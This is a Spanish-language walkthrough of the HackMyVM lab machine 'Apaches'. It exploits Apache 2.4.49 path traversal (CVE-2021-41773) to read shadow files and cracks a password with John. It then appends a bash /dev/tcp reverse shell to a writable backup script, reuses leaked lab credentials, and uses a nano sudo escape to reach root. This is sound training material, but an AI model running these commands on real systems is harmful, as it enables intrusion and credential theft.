cd ~/blog

~/writeups/hmv/045-apaches.md

045 - Apaches

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Apache Path Traversal RCE (CVE-2021-41773)Weak PasswordWritable Privileged Executable FileSudo-Allowed Program AbuseUnrestricted Sudo
hackmyvm.eu/machines/machine.php?vm=Apaches

~2 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.43
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.43
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-13 18:49 -03
Nmap scan report for 192.168.1.43
Host is up (0.00037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 bc:95:83:6e:c4:62:38:b5:a9:94:0c:14:a3:bf:57:34 (RSA)
|   256 07:fa:46:1a:ca:f3:dc:08:2f:72:8c:e2:f2:2e:32:e5 (ECDSA)
|_  256 46:ff:72:d5:67:c5:1f:87:b1:35:84:29:f3:ad:e8:3a (ED25519)
80/tcp open  http    Apache httpd 2.4.49 ((Unix))
|_http-server-header: Apache/2.4.49 (Unix)
| http-methods:
|_  Potentially risky methods: TRACE
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Apaches
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.55 seconds

El robots.txt contiene una cadena en base64 (solo un mensaje de ánimo):

❯ cat robots.txt
User-agent: *
Disallow: /


❯ echo "IOKAnFlvdSBrbm93IHlvdXIgcGF0aCwgY2hpbGQsIG5vdyBmb2xsb3cgaXQu4oCdCi0tIFBvY2Fob250YXMg" | base64 -d
 “You know your path, child, now follow it.”
-- Pocahontas

Apache Path Traversal RCE

El servidor corre Apache 2.4.49, versión afectada por Apache Path Traversal RCE (CVE-2021-41773) mediante CVE-2021-41773. La normalización defectuosa permite salir del directorio publicado con segmentos codificados. Si la configuración deja accesible el destino, esto permite leer archivos fuera del document root y, cuando mod_cgi está habilitado, puede llegar a RCE. Lanzamos el exploit contra la versión identificada:

❯ searchsploit apache | grep 2.4.49
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)     | multiple/webapps/50383.sh

❯ python CVE-2021-41773.py -t 192.168.1.43
--------------------------------------------------------
|                Apache2 2.4.49 - Exploit              |
--------------------------------------------------------
>>>

En esta máquina la lectura alcanza /etc/passwd y /etc/shadow. unshadow combina ambas fuentes para asociar cada usuario con su hash, y John realiza un ataque fuera de línea. El resultado demuestra una Weak Password para squanto:

❯ /opt/john/run/unshadow passwd shadow > unshadow.txt
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt unshadow.txt
...
iamtheone        (squanto)

Movimiento lateral a sacagawea

Iniciamos sesión por SSH como squanto y obtenemos la primera flag. Revisamos nuestros grupos:

squanto@apaches:~$ id
uid=1001(squanto) gid=1001(squanto) groups=1001(squanto),1004(Lipan)

Buscamos archivos del grupo Lipan y encontramos un script de backup modificable. La captura de /etc/crontab muestra una línea relacionada, pero está comentada y, por sí sola, no puede ejecutarse:

squanto@apaches:~$ find / -group Lipan 2>/dev/null
/home/sacagawea/Scripts/backup.sh

squanto@apaches:/tmp$ cat /etc/crontab
...
#* 5 * * * * su sacagawea -c "./home/sacagawea/Scripts/backup.sh"

squanto@apaches:~$ ls -l /home/sacagawea/Scripts/backup.sh
-rwxrwx--- 1 sacagawea Lipan 182 Oct 10  2022 /home/sacagawea/Scripts/backup.sh

La shell recibida después de modificar el script demuestra que existía otro disparador periódico activo como sacagawea, aunque las notas originales no conservaron su ubicación exacta. La escalada sigue el patrón Writable Privileged Executable File: controlamos el contenido que una identidad más privilegiada consume. Añadimos una reverse shell:

squanto@apaches:/tmp$ echo '/bin/bash -i >& /dev/tcp/192.168.1.10/1234 0>&1' >> /home/sacagawea/Scripts/backup.sh

Tras un par de minutos recibimos la shell de sacagawea:

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
id
Ncat: Connection from 192.168.1.43:40470.
bash: cannot set terminal process group (7685): Inappropriate ioctl for device
bash: no job control in this shell
sacagawea@apaches:~$

Escalada de privilegios

Obtenemos la segunda flag y, en sus archivos, unas credenciales de varios usuarios:

  $users = [
    "geronimo" => "12u7D9@4IA9uBO4pX9#6jZ3456",
    "pocahontas" => "y2U1@8Ie&OHwd^Ww3uAl",
    "squanto" => "4Rl3^K8WDG@sG24Hq@ih",
    "sacagawea" => "cU21X8&uGswgYsL!raXC"

Probamos las de pocahontas con éxito (tercera flag) y revisamos sus permisos sudo:

pocahontas@apaches:~$ sudo -l
[sudo] password for pocahontas:
Matching Defaults entries for pocahontas on apaches:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pocahontas may run the following commands on apaches:
    (geronimo) /bin/nano

Podemos ejecutar nano como geronimo. Esto es Sudo-Allowed Program Abuse porque el editor permite iniciar comandos externos mediante ^R, ^X; la shell resultante hereda la identidad objetivo. Aplicamos el escape documentado por GTFOBins y obtenemos la cuarta flag:

pocahontas@apaches:~$ sudo -u geronimo nano
^R^X
reset; bash 1>&0 2>&0

Finalmente, geronimo tiene Unrestricted Sudo: las reglas permiten cualquier comando como root, incluida una shell directa:

geronimo@apaches:~$ sudo -l
Matching Defaults entries for geronimo on apaches:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User geronimo may run the following commands on apaches:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

geronimo@apaches:~$ sudo bash -p
root@apaches:/home/geronimo#

Obtenemos nuestra última flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados